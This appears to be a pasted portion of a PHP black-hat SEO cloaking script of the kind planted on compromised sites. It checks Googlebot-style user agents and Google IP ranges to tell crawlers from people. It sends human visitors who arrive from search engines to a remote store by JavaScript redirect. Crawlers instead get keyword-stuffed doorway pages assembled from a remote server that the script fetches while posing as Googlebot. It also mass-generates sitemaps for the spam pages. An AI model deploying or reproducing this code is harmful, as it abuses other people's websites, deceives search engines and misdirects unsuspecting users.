  470. if(isset($matches[1]))
  471. $tempSid = $matches[1]; }else{
  472. preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
  473. $tempSid = $matches10[1]; }
  474.  
  475.  
  476. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  477. if(preg_match($r2,$UrlParent,$matches2)){
  478. if(isset($matches2[1]))
  479. $tempPid = $matches2[1]; }else{
  480.  
  481. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  482. $tempPid = $matches13[1]; }
  483.  
  484.  
  485. if($tempSid && $tempPid){
  486. $_GET['id']= $tempSid .'-'. $tempPid; }
  487.  
  488.  
  489. }
  490. function getRandStr(){
  491.  
  492. $arrABC = range('a','z'); shuffle($arrABC);
  493. $randNum = rand(4,6);
  494. $str = implode('',array_slice($arrABC,0,$randNum));
  495. return $str;}
  496. if(isset($_GET["id"]))
  497. $id = $_GET["id"];else{
  498. $id = "20170113-10932"; //llq index id
  499. }
  500. $idTemp = explode('-',$id);if(count($idTemp) < 2)
  501. die();
  502. $id23 = end($idTemp);
  503. $numArr_key = count($arr_key);
  504. $siteid = $idTemp[count($idTemp)-2];
  505. $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
  506. $pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM;
  507. // $_SERVER["HTTP_REFERER"] = "google.com.hk";
  508.  
  509. if(isset($_SERVER["HTTP_REFERER"])){
  510. $referer = $_SERVER["HTTP_REFERER"];
  511. $russ = '#(google|yahoo|incredibar|bing|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
  512.  
  513. $jumDom = DOMTXT . $siteid .".txt";
  514. $domJump = curl_get_from_webpage($jumDom,'',5); $iszz = isCrawler();
  515. $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
  516. $localIp = get_real_ip();
  517. $is_or_no = is_ip($localIp,$ipRanges);
  518. if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){
  519. echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die(); }
  520. }
  521.  
  522. $fcontent = '';
  523. $keyKey = $id23 % $numArr_key;$keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2;$pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);$rName = '#<llqpname>(.*?)</llqpname>#s';preg_match($rName, $pInfoStr, $matchName);if($matchName[1]) $pName = trim($matchName[1]);$rCat = '#<llqcat>(.*?)</llqcat>#s';preg_match($rCat, $pInfoStr, $matchCat);if($matchCat[1]) $pCat = trim($matchCat[1]);$rDes = '#<llqpdes>(.*?)</llqpdes>#s';preg_match($rDes, $pInfoStr, $matchDes);if($matchDes[1]) $pDes = $matchDes[1];$rpd2 = '#<llqpd2>(.*?)</llqpd2>#s';preg_match($rpd2, $pInfoStr, $matchpd2);if($matchpd2[1]) $pd2 = $matchpd2[1];else $pd2 = '';$rKey = $arr_key[$keyKey];$rImg = '#<llqpimg>(.*?)</llqpimg>#si';preg_match($rImg, $pInfoStr, $matchImg);if($matchImg[1]) $pImg = $matchImg[1];$rFL = '#<llqFL>(.*?)</llqFL>#si';preg_match($rFL, $pInfoStr, $matchFL);if($matchFL[1]) $fStr = $matchFL[1];else $fStr = ''; if($preOrEnd){$rPlaceTitle = $pName . $rKey;}else{$rPlaceTitle = $rKey . $pName;}$rPlacePname = $rPlaceTitle;$keywordKey = get_arrvs($arr_key,1*KEYJG,$keyKey);$rPlaceKey = $pName.",".$rKey.",".$keywordKey;$desKey1 = get_arrvs($arr_key,2*KEYJG,$keyKey);$desKey2 = get_arrvs($arr_key,3*KEYJG,$keyKey);$rPlaceDes = $pName.",".$rKey.",".$desKey1.",".$desKey2;list($Sid,$Pid) = explode('-',$siteAID);$CurrentLink = getalink($Sid,$Pid);$pDes = str_ireplace("<img ", "<a href=\"".$CurrentLink."\"><br/>".'<img alt="#bbbtitlebbb#" title="#bbbtitlebbb#" ',$pDes);$pDes = str_ireplace(".jpg\"><br/>",".jpg\"></a><br/>" ,$pDes);$myLink = '<a href="#">#bbbtitlebbb#</a><br/>';$rpDes = $myLink.$pDes.$pd2.'';if(!strstr($rpDes,$pImg)){$rpDes .= PHP_EOL ."<br/>"."<a href=\"".$CurrentLink."\"><br/>".'<img alt="#bbbtitlebbb#" title="#bbbtitlebbb#" src="'.$pImg.'">'."</a><br/>";}$rpDes = str_replace($pName,$rPlacePname,$rpDes);$rpDes = str_replace('#bbbtitlebbb#',$rPlacePname,$rpDes);$arrf1 = explode("#llqllqllq#",$fStr);$arrF2s = array();if(count($arrf1)){foreach($arrf1 as $values){$values = trim($values);$arrts = explode("===>",$values);if(count($arrts) == 2)$arrF2s[$arrts[0]] = $arrts[1];}}$arrPre = array_slice($arrF2s, 0, LINKNUM);$arrNext = array_slice($arrF2s, LINKNUM);$pCat = str_replace('index.php?category=','/index.php?category=',$pCat);
  524.  
  525. if(count($arrPre)){
  526. $linkfirst = '';
  527. $itemp = 0; foreach($arrPre as $valueFlinkId => $vsss){
  528. list($tempSid,$tempPid) = explode('-',$valueFlinkId);
  529. $friendlink = getalink($tempSid,$tempPid);
  530. $keyKey = $tempPid % $numArr_key;
  531. $keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
  532. $tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
  533. $tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
  534.  
  535. if($itemp%2)$itempName = $pName.get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey);else $itempName = get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey).$pName;
  536.  
  537.  
  538. $linkfirst=$linkfirst."<a href=\"".$friendlink."\">". $tempLinkKey ."</a><br/>". $itempName ."<br/>".PHP_EOL; }
  539. }
  540.  
  541.  
  542. if(count($arrNext)){
  543. $linklast = '';
  544.  
  545. foreach($arrNext as $valueFlinkId => $vsss){
  546. list($tempSid,$tempPid) = explode('-',$valueFlinkId); $friendlink = getalink($tempSid,$tempPid);
  547.  
  548. $keyKey = $tempPid % $numArr_key;
  549. $keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
  550. $tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
  551. $tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
  552.  
  553. $linklast=$linklast."<a href=\"".$friendlink."\">". $tempLinkKey ."</a><br/>".PHP_EOL; }
  554. }
  555.  
  556. $fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html"));
  557. $html = str_ireplace('#bbbtitlebbb#</h1>', '#bbbtitlebbb#</h1>'.$pCat, $html); $html = str_ireplace('#bbbtitsbbb#', $rPlacePname.' - '.$_SERVER['HTTP_HOST'], $html); $html = str_ireplace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_replace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_ireplace('#bbbkeybbb#', $rPlaceKey, $html); $html = str_ireplace('#bbbdesbbb#', $rPlaceDes, $html);
  558.  
  559.  
  560. $html = str_ireplace('友链1', $linkfirst, $html); $html = str_ireplace('友链2', $linklast, $html); $html = str_ireplace('#content#', $fcontent, $html); $html = str_ireplace('描述', $rpDes, $html);
  561.  
  562.  
  563. echo $html;
  564. die();
  565.  
  566.  
  567.  
  568. function getMapNum($bgNum){
  569. $TempArr = array();
  570. if($bgNum + 9 <= FNUM){
  571. for($i=0;$i<10;$i++){
  572. $TempArr[$i] = $bgNum + $i -1;
  573. }
  574. }else{
  575. for($i=0;$i<10;$i++){
  576. if($bgNum+$i > FNUM)
  577. $TempArr[$i] = $bgNum + $i -1 -FNUM;
  578. else
  579. $TempArr[$i] = $bgNum + $i -1;
  580. }
  581. }
  582.  
  583. return $TempArr;
  584. }
  585.  
  586.  
  587. function getRandId(){
  588. $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
  589. function get_arrvs($arr,$num,$nowkey){
  590. $numArr = count($arr);
  591. if($nowkey + $num < $numArr)
  592. return $arr[$nowkey + $num]; else{
  593. if($nowkey + $num - $numArr - $numArr > 0)
  594. return get_arrvs($arr,$num - $numArr,$nowkey); else
  595. return $arr[abs($nowkey + $num - $numArr)]; }
  596. }
  597.  
  598. function get_pre_link($arr,$key){
  599.  
  600. $tmpA1 = array(); $tmpA2 = array();
  601. $num = count($arr);
  602.  
  603. if($key + JGNUM + 1 + LINKNUM >= $num){
  604.  
  605. if($key + JGNUM + 1 - $num > LINKNUM){
  606. return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
  607.  
  608. $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
  609. return array_merge($tmpA1,$tmpA2); }
  610. }else{
  611. return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
  612.  
  613. }
  614. function get_next_link($arr,$key){
  615.  
  616. $tmpA1 = array(); $tmpA2 = array();
  617. $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
  618. $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
  619. return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
  620. }
  621. function isCrawler() {
  622. $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
  623. $spiderSite= array(
  624. "Googlebot",
  625. "Mediapartners-Google",
  626. "Adsbot-Google",
  627. "Yahoo!",
  628. "Yahoo Slurp",
  629. "bingbot",
  630. "MSNBot"
  631. ); foreach($spiderSite as $val) {
  632. $str = strtolower($val); if (strpos($agent, $str) !== false) {
  633. return true; }
  634. }
  635. } else {
  636. return false; }
  637. }
  638. function glink($filenames,$jdt=1){
  639. $filePres = ''; $fileEnds = '';
  640. if($jdt == 1){
  641. $filePres = basename(__FILE__) . "?id="; }else{
  642. $filePres = ''; $fileEnds = JTHZ; }
  643. ////获取文件目录
  644. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  645. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  646. $put_str = '';
  647. $urlsArray = $filenames; //print_r($urlsArray);
  648. $numLinks = count($urlsArray);
  649. foreach($urlsArray as $value){
  650. $curphp=basename(__FILE__);
  651. $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); //print_r( $value.$curphp." ".$first." ".$last); if($first===false && $last===false && $checkTxt===false)
  652. {
  653.  
  654. $url=$serpath ."/". $filePres . PRENAME . '-' . basename($value) .$fileEnds; $put_str .= $url . PHP_EOL;
  655. }
  656. }
  657. $gFile = 'urls.txt'; echo '<br/>'.$gFile.'';
  658. @unlink($gFile); file_put_contents($gFile,$put_str); echo "生成成功!<br/>";
  659. }
  660. //生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径
  661. //$dir目录参数
  662. function gsitemap2($filenames,$c=1,$jdt=1){
  663. global $gnumber,$arrArrr;
  664. $filePres = ''; $fileEnds = '';
  665. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  666. if(JDT == 2){
  667. $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  668. $filePres = $httcReplace . "/"; }elseif(JDT == 3){
  669. $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
  670. $filePres = ''; }
  671. if(JDT == 3){
  672. $fileEnds = ''; }else{
  673. $fileEnds = JTHZ; }
  674. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  675. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  676. $mapPre = '<?xml version="1.0" encoding="UTF-8" ?>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  677. // $urlsArray = $filenames;
  678. // $numLinks = count($urlsArray);
  679. $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  680. $str = "";
  681. $tempArr1 = $filenames;
  682.  
  683. foreach($tempArr1 as $value2){
  684. $curphp=basename(__FILE__);
  685. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
  686. $url = getalink($tempSid,$tempPid);
  687.  
  688.  
  689.  
  690. if($first===false && $last===false && $checkTxt===false)
  691. {
  692. $date = date("Y-m-d"); $time = date("H:i:s");
  693.  
  694. if($star % 12000==11999){
  695. $gFile = '../sitemap/site-map' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  696. $str = ''; $gnumber++; return; }
  697.  
  698.  
  699.  
  700.  
  701. $str .= " <url>
  702. <loc>" . $url . "</loc>
  703. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  704. <changefreq>daily</changefreq>
  705. <priority>0.1</priority>
  706. </url>
  707. ";
  708.  
  709.  
  710. $star++; $starPri++; }
  711. }
  712.  
  713. {
  714. $gFile = '../sitemap/site-map' . $gnumber .'.xml'; $gnumber++; echo '<br/>'.$gFile.'<br/>';
  715. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  716. }
  717.  
  718. unset($tempArr1); unset($filenames);
  719. echo "生成sitemap成功!";
  720. }
  721. function gsitemap($filenames,$c=1,$jdt=1){
  722. global $gnumber,$arrArrr;
  723. $filePres = ''; $fileEnds = '';
  724.  
  725. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  726. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  727. $mapPre = '<?xml version="1.0" encoding="UTF-8" ?>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  728. // $urlsArray = $filenames;
  729. // $numLinks = count($urlsArray);
  730.  
  731. $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  732. $str = " <url>
  733. <loc>" . $siteLink . "</loc>
  734. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  735. <changefreq>always</changefreq>
  736. <priority>1.0</priority>
  737. </url>
  738. ";
  739. $tempArr1 = $filenames;
  740.  
  741. foreach($tempArr1 as $value2){
  742. $curphp=basename(__FILE__);
  743. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
  744. $url = getalink($tempSid,$tempPid);
  745.  
  746. if($first===false && $last===false && $checkTxt===false)
  747. {
  748. $date = date("Y-m-d"); $time = date("H:i:s");
  749.  
  750. if($star % 12000==11999){
  751. $gFile = '../sitemap/site-map' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  752. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  753. $str = ''; $gnumber++; return;
  754. }
  755.  
  756. if($starPri >= 400 && $priority != 0.1){
  757. $starPri = 0; $priority = $priority - 0.1; }
  758.  
  759. if($priority > 0.1){
  760.  
  761. $str .= " <url>
  762. <loc>" . $url . "</loc>
  763. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  764. <changefreq>daily</changefreq>
  765. <priority>". $priority . "</priority>
  766. </url>
  767. ";
  768. }else{
  769. $str .= " <url>
  770. <loc>" . $url . "</loc>
  771. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  772. <changefreq>daily</changefreq>
  773. <priority>0.1</priority>
  774. </url>
  775. ";
  776. }
  777.  
  778. $star++; $starPri++; }
  779. }
  780.  
  781. {
  782. $gFile = '../sitemap/site-map' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  783. $gnumber++;
  784. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  785. }
  786.  
  787. unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
  788. }
  789. function rmhtmltag2($tagname='',$str=''){
  790. $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str);
  791. $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str;
  792. }
  793.  
  794. function rmhtmltag($tagname='',$str=''){
  795. $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str;
  796. }
  797.  
  798. function fillUrl($str = '', $url){
  799. $relur = '#(?:href|src) ?= ?"([^"]+)"#s';
  800. $urlInfo = parse_url($url);
  801.  
  802. preg_match_all($relur, $str, $matches);
  803. if(count($matches[1])){
  804. foreach($matches[1] as $values){
  805. if(!strstr($values, "//") && !strstr($values, "..")){
  806. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr);
  807. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){
  808.  
  809. // echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die();
  810. $rStr = str_replace(basename($url),"",$url)."/".$values;
  811.  
  812. $rStr = str_replace("http://","<llqhttp>",$rStr);
  813. $rStr = str_replace("https://","<llqhttps>",$rStr);
  814. $rStr = str_replace("//","/",$rStr);
  815. $rStr = str_replace("<llqhttps>","https://",$rStr);
  816. $rStr = str_replace("<llqhttp>","http://",$rStr);
  817. $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }
  818. }
  819. }
  820.  
  821.  
  822. $relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';
  823. $urlInfo = parse_url($url);
  824.  
  825. preg_match_all($relur, $str, $matches);
  826. // print_r($matches[1]);
  827. if(count($matches[1])){
  828. foreach($matches[1] as $values){
  829. if(!strstr($values, "//") && !strstr($values, "..")){
  830. $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){
  831.  
  832. $rStr = str_replace(basename($url),"",$url)."/".$values;
  833.  
  834. $rStr = str_replace("http://","<llqhttp>",$rStr);
  835. $rStr = str_replace("https://","<llqhttps>",$rStr);
  836. $rStr = str_replace("//","/",$rStr);
  837. $rStr = str_replace("<llqhttps>","https://",$rStr);
  838. $rStr = str_replace("<llqhttp>","http://",$rStr);
  839. $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }
  840. }
  841. }
  842. return $str;}
  843. function auto_read($str, $charset='UTF-8') {
  844. $list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp');
  845. $encode = mb_detect_encoding($str, $list); // echo $encode;die();
  846. if($encode == 'UTF-8'){
  847. return $str; }else{
  848. return mb_convert_encoding($str, $charset, $encode); }
  849.  
  850. }
  851. function detect_encoding($file){
  852. $list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) {
  853. $tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) {
  854.  
  855. return $item; }
  856. }
  857. return null;}
  858. function curl_get_from_webpage($url,$proxy='',$loop=10){
  859. $data = false; $i = 0; while(!$data) {
  860. $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
  861. return $data;}
  862.  
  863.  
  864. function curl_get_from_webpage_one_time($url,$proxy=''){
  865. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  866.  
  867. $curl = curl_init(); //如果有用代理,则使用代理.
  868. $user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"; $urlReferer = "http://www.google.com";
  869. if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
  870. curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_REFERER, $urlReferer);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);$data=curl_exec($curl);curl_close($curl);
  871. }else{
  872.  
  873. $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  874. if($is_auf){
  875.  
  876. $data = file_get_contents($url);
  877. }
  878.  
  879. }
  880. if(!$data) return false;
  881. return $data;
  882.  
  883. }
  884. function getalink($sid,$pid){
  885.  
  886. global $arrnametime,$arrKeywz,$arr_word,$strRand;
  887.  
  888. $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
  889. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  890. if(JDT == 2){
  891. $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  892. $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
  893. $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
  894. $filePres = $siteLink."/"; }
  895.  
  896. $ms = $arrnametime[$pid % count($arrnametime)];
  897.  
  898. $keyNum = $arrKeywz[$pid % count($arrKeywz)];
  899. $keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0;
  900. if($ms == 2 or $ms ==4){
  901. if($keyNum >= 9){
  902. $fg = 4; }elseif($keyNum >= 7){
  903. $fg = 3; }else{
  904. $fg = 2; }
  905. }
  906.  
  907. for($i=0;$i<$keyNum;$i++){
  908. $tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++)
  909. $tempstr .= $strRand[$flag++]{$keyStrKey};
  910. $keyArr[$i] = $tempstr; }
  911.  
  912. $SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = '';
  913.  
  914. if(JDT == 3){
  915. for($i=0;$i<$keyNum;$i++){
  916.  
  917. if($SidWz == $i)
  918. $linkCenter .= BZSITE . $sid .'-';
  919. if($PidWz == $i)
  920. $linkCenter .= BZPRO . $pid .'-';
  921.  
  922. $linkCenter .= $keyArr[$i] .'-'; }
  923. $linkCenter .= $linkCenter . "#llq"; $linkCenter = str_replace('-#llq','',$linkCenter); return $filePres.$linkCenter; }
  924.  
  925.  
  926.  
  927.  
  928. if($ms == 1){
  929. for($i=0;$i<$keyNum;$i++){
  930.  
  931. if($SidWz == $i)
  932. $linkCenter .= BZSITE . $sid .'-';
  933. if($PidWz == $i)
  934. $linkCenter .= BZPRO . $pid .'-';
  935.  
  936. $linkCenter .= $keyArr[$i] .'-';
  937. }
  938.  
  939. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  940. }elseif($ms == 2){
  941. for($i=0;$i<$keyNum;$i++){
  942.  
  943. if($SidWz == $i)
  944. $linkCenter .= BZSITE . $sid .'-';
  945. if($PidWz == $i)
  946. $linkCenter .= BZPRO . $pid .'-';
  947.  
  948. $linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
  949. $linkCenter .= '/'; }
  950. }
  951.  
  952. $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
  953. }elseif($ms == 3){
  954. for($i=0;$i<$keyNum;$i++){
  955.  
  956. if($SidWz == $i)
  957. $linkCenter .= BZSITE . $sid .'-';
  958. if($PidWz == $i)
  959. $linkCenter .= BZPRO . $pid .'-';
  960.  
  961. $linkCenter .= $keyArr[$i] .'-';
  962. }
  963.  
  964. $linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
  965.  
  966. }elseif($ms == 4){
  967. for($i=0;$i<$keyNum;$i++){
  968.  
  969. if($SidWz == $i)
  970. $linkCenter .= BZSITE . $sid .'-';
  971. if($PidWz == $i)
  972. $linkCenter .= BZPRO . $pid .'-';
  973.  
  974. $linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
  975. $linkCenter .= '/'; }
  976. }
  977.  
  978. $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }
  979.  
  980. return $filePres.$linkCenter;
  981. }
  982.  
  983.  
  984. function is_ip($localIp,$ipRanges)
  985. {
  986. $localIp = ip2long($localIp);
  987. foreach($ipRanges as $val)
  988. {
  989. $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
  990. if($localIp >= $ipmin && $localIp <= $ipmax)
  991. {
  992. return true;
  993. }
  994. }
  995. return false;}
  996.  
  997.  
  998. function get_real_ip(){
  999.  
  1000. $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){
  1001. $ip = $_SERVER["HTTP_CLIENT_IP"]; }
  1002.  
  1003. if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  1004. $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
  1005.  
  1006. for ($i = 0; $i < count($ips); $i++) {
  1007. if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
  1008. $ip = $ips[$i]; break; }
  1009. }
  1010. }
  1011.  
  1012. return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);}
  1013.  
  1014. //file end
Advertisement
Add Comment
Please, Sign In to add comment